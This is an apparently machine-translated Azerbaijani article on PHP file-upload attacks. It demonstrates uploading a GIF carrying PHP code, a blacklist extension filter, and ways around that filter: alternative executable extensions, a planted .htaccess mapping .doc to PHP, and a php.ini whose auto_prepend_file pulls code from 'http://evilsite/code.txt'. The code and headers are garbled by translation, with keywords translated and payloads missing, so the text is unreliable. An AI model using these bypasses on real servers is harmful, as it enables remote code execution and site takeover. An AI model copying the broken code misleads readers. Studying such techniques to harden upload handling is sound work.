$res = $ua->sorğu(POST "http://localhost/upload3.php",
Məzmun_Növü => "forma-data",
Məzmun => , ],);

Çap $res->as_string();

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Bu kod crocus.gif faylını götürür və onu crocus.php adı ilə yükləyir. İcra aşağıdakılarla nəticələnəcək:

Sorğu:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 14835
--xYzZY

Məzmun növü: şəkil/gif
GIF89a(...bəzi ikili verilənlər...)(... ikili məlumatların qalan hissəsini atlayırıq ...)
--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 59
Əlaqə: yaxın
Məzmun növü: mətn/html
Fayl etibarlıdır və uğurla yükləndi.

Təcavüzkar indi uploads/crocus.php faylını icra edə və aşağıdakıları əldə edə bilər:

Gördüyünüz kimi, PHP tərcüməçisi təsvirin əvvəlindəki ikili məlumatlara məhəl qoymur və ardıcıllığı yerinə yetirir "" GIF şərhində.

Yüklənmiş faylın uzantısının yoxlanılması

Bu məqalənin oxucusu təəccüblənə bilər ki, niyə biz yüklənmiş faylın genişləndirilməsini yoxlamırıq? Əgər *.php fayllarının yüklənməsinə icazə verməsək, server heç vaxt həmin faylı skript kimi icra edə bilməyəcək. Bu yanaşmaya da nəzər salaq.

Biz fayl uzantılarını qara siyahıya sala və yüklənmiş faylın adını yoxlaya bilərik, faylın icra edilə bilən uzantıları (upload4.php) ilə yüklənməsinə məhəl qoymadan:

$qara siyahı = massiv(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($element kimi $qara siyahı) (
əgər (preg_match(;
çıxış;
}
}

$uploaddir = "yükləmələr/" ;
$uploadfile = $uploaddir. baza adı($_FILES["istifadəçi faylı" ]["ad" ]);

əgər (köçürülən_fayl($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
əks-səda;
}
?>


* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

preg_match("/$item\$/i", $_FILES["userfile"]["name"]) ifadəsi qara siyahı massivində istifadəçi tərəfindən müəyyən edilmiş fayl adına uyğun gəlir. "i" dəyişdiricisi ifadəmizin böyük hərflərə həssas olduğunu bildirir. Fayl uzantısı qara siyahıdakı elementlərdən birinə uyğun gəlirsə, fayl endirilməyəcək.

.php uzantılı faylı yükləməyə çalışsaq, bu, xəta ilə nəticələnəcək:

Sorğu:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 14835
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "crocus.php"
Məzmun növü: şəkil/gif

--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 36
Əlaqə: yaxın
Məzmun növü: mətn/html
.gif uzantılı faylı yükləsək, o zaman endiriləcək:

Sorğu:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 14835
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "crocus.gif"
Məzmun növü: şəkil/gif
GIF89(...ikili data atlanır...)
--xYzZY--

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 59
Əlaqə: yaxın
Məzmun növü: mətn/html
Fayl etibarlıdır və uğurla yükləndi.

İndi yüklənmiş faylı tələb etsək, o, server tərəfindən icra olunmayacaq:

"...yaxud qara siyahının filtrlənməsi niyə pisdir?"

Gəlin php-dən istifadə edərək müntəzəm fayl yükləməsini təsəvvür edək. Düşünürəm ki, hər kəs bunu yaşayıb. Faylların verilənlər bazasında saxlanması, adının dəyişdirilməsi və s. kimi pozulmuş variantları ləğv edək. Faylları yükləməyin adi ən sadə formasını götürək.

Adətən bu, HTML formasıdır, sonra yüklənmiş faylın genişləndirilməsinə və sonradan yüklənmiş faylın müvəqqəti qovluqdan endirmələr qovluğuna köçürülməsinə əsaslanan server tərəfində yoxlamadır. Gəlin proqramçıların bu ən sadə görünən şeylərdə buraxdıqları milyonlarla səhvləri atıb, bu funksionallığın düzgün və səhvsiz həyata keçirildiyini nəzərə alaq.

Sual yaranır, fayl uzantılarını necə filtrləmək olar? İki seçim var:

  • Ağ siyahıya görə— biz məqbul fayl uzantılarının siyahısını tərtib edirik və digərlərini bloklayırıq
  • Qara siyahıya görə— biz bloklanmış uzantıların siyahısını tərtib edirik və digərlərini yükləyirik

Problem ondadır ki, ağ siyahının filtrasiyasını həyata keçirmək üçün skriptimizin yüklənəcəyi zəruri uzantılar üçün bütün mümkün variantları təmin etməliyik. Yalnız şəkilləri yükləməli olduğunuz yerlər üçün hər şey sadədirsə, bir çox digər hallarda qanuni uzantıların kifayət qədər böyük siyahısını tərtib etməli olacaqsınız. Buna görə də, bir çox tərtibatçılar bunun əksini etməli və təhlükəli uzantıları qadağan etməli olduqlarını düşünürlər.

Əgər birinci halda çoxları yalnız tələb olunan uzantıları olan faylların yüklənəcəyinə əmindirsə (məqalədə mən də sizə bunun necə keçəcəyini söyləyəcəyəm), ikinci halda hər şey o qədər də sadə deyil.

Bu məqalə qara siyahı filtrləməsinin niyə pis olması və bu filtrdən necə yan keçə biləcəyi haqqındadır. Gözəl bir bonus olaraq, ağ siyahı filtrindən keçməyin bir yolunu əlavə edəcəyəm (və hətta bu mümkündür! oh necə!)

Qara siyahıların filtrasiyası ilə bağlı problemlərə başlayacağıq.

Çoxlu uzantılar

Birinci problem ondan ibarətdir ki, Apache defolt olaraq (baxmayaraq ki, standart olaraq deyil, lakin ən azı çox tez-tez) PHP skriptləri kimi müxtəlif uzantıları olan bir dəstə faylı emal edir. Siz hələ də yalnız “.php” blokunun kifayət etdiyini düşünürsünüz? Ancaq heykəlciklər, burada mümkün uzantıların natamam siyahısı:

Php .phtml .php4 .php5 .html

Bəli, bəli, bəzi Apache konfiqurasiyalarında “.html” PHP skripti kimi işlənə bilər.

Həm də hakerlər üçün cgi, pearl və digər gözəllikləri unutduq. Bəli, adətən onlar yalnız “/cgi-bin” qovluğundan işə salına bilər, amma kim bilir, bəlkə serveriniz fərqli konfiqurasiya olunub...

Və hətta bir genişləndirməni qaçırmaq kifayətdir və təcavüzkar, sındırmaq istəyərkən, ehtimal ki, bu uzantılı bir fayl yükləməyə və sonra onu icra etməyə çalışacaq ki, bu da çox güman ki, saytınızın tam sındırılmasına səbəb olacaq.

Konfiqurasiyanı özünüz üçün dəyişdirin

Bəli, budur, admin paranoid oldu və bütün icra edilə bilən uzantıları filtrə əlavə etdi. Ancaq necə deyərlər, hər çətin bolt üçün bir çətin qoz var. Axı admin “.htaccess” uzantısını (əgər onu genişləndirmə adlandırmaq olarsa, təbii ki: D) filtrlər siyahısına əlavə etməyi ağlına belə gətirməyib.

Aşağıdakı məzmunu olan “.htaccess” adlı faylı endirməyə çalışaq:

AddType proqram/x-httpd-php .doc

İndi bu faylın yükləndiyi qovluqda “.doc” uzantılı bütün fayllar PHP skriptləri kimi şərh olunacaq və müvafiq olaraq icra ediləcək. Bu uzantı ilə PHP skriptini yükləmək qalır və o, uğurla icra olunacaq.

Gəlin php.ini yükləyək

Bu yaxınlarda mən php+cgi birləşməsinin maraqlı bir xüsusiyyəti haqqında yazmışdım (yeri gəlmişkən, fastcgi də):

Bu hücumu həyata keçirmək üçün aşağıdakı şərtlər toplusuna sahib olmalıyıq:

  • Php CGI vasitəsilə bağlanmalıdır
  • Faylların yükləndiyi qovluqda ən azı bir PHP skripti olmalıdır (məsələn, index.php)
  • Filtr .ini uzantısını kəsməməlidir (yəni biz php.ini faylını yükləyə bilməliyik)

PHP-də maraqlı bir seçim var auto_prepend_file:

Əsas fayldan əvvəl avtomatik işlənəcək faylın adını müəyyən edir. Fayl tələb funksiyasından istifadə edərək daxil edilmiş kimi çağırılır, buna görə də include_path istifadə olunur.

Bir sözlə, hər hansı bir skriptin hər icrasından əvvəl “auto_prepend_file” bölməsində göstərilən skript əvvəlcə icra olunacaq. Nə əldə etdiyimi təxmin edə bilərsinizmi?

Maraqlısı odur ki, başqa serverdə faylın uzaq ünvanını təyin edə bilərsiniz və bu çox rahatdır. Aşağıdakı php.ini faylını əlavə edək:

; Uzaqdan faylların oxunmasını aktivləşdirin (bu, allow_url_include tələb edir)
allow_url_fopen=1

; Uzaqdan daxil olma imkanını aktivləşdirir
allow_url_include=1

; “Bizim” skriptimizi “şər” kodu ilə bağlayırıq
auto_prepend_file= "http://evilsite/code.txt"

Fayl yükləmisiniz? Əla! İndi biz bütün faylların yükləndiyi qovluqda olan istənilən PHP skriptinə müraciət edirik (buna görə də bu qovluğa PHP skriptinin lazım olduğunu yazdım). Bu qovluqdan skriptə daxil olduqda, ilk olaraq auto_prepend_file-də göstərilən fayl icra ediləcək.

"İkiqat" genişlənmə

"MIME kodu sizin dəvə olmadığınızı sübut edir."
bir jurnaldan gülməli şey])